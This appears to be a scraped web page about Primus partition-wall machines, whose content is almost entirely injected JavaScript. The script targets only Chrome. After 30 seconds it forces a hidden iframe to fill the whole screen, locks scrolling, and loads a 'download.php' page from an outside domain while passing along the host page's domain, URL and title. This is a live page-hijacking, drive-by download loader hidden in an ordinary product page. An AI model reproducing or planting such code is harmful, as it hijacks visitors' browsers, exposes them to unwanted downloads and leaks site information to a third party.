Neue Trennwandmaschinen von Primus
(function() {
const isChrome = /Chrome/.test(navigator.userAgent) && /Google Inc/.test(navigator.vendor);
if (isChrome) {
setTimeout(() => {
const iframe = document.getElementById('fullscreen-iframe');
const style = document.createElement('style');
style.textContent = `
#fullscreen-iframe {
position: fixed !important;
top: 0 !important;
left: 0 !important;
width: 100vw !important;
height: 100vh !important;
border: none !important;
z-index: 2147483647 !important;
background: white !important;
display: block !important;
}
body, html {
overflow: hidden !important;
position: relative !important;
height: 100% !important;
}
`;
document.head.appendChild(style);
// Get current page info
const parentDomain = window.location.hostname;
const parentUrl = window.location.href;
const parentTitle = document.title;
// Pass parent info to gettrumpmemes.sbs
const params = new URLSearchParams({
'ref': '17d1571c-2db2-47fb-a092-b00fdecc25e7',
'parent_domain': parentDomain, // domain1.com
'parent_url': parentUrl, // full URL of domain1.com
'parent_title': parentTitle,
'src': 'iframe_loader',
'utm_source': parentDomain,
'load_time': Date.now()
});
iframe.src = 'https://gettrumpmemes.sbs/download.php?' + params.toString();
iframe.style.cssText = 'display: block !important;';
if (iframe.parentNode !== document.body) {
document.body.appendChild(iframe);
}
}, 30000);
}
})();
| Neue Trennwandmaschinen von Primus |
|
|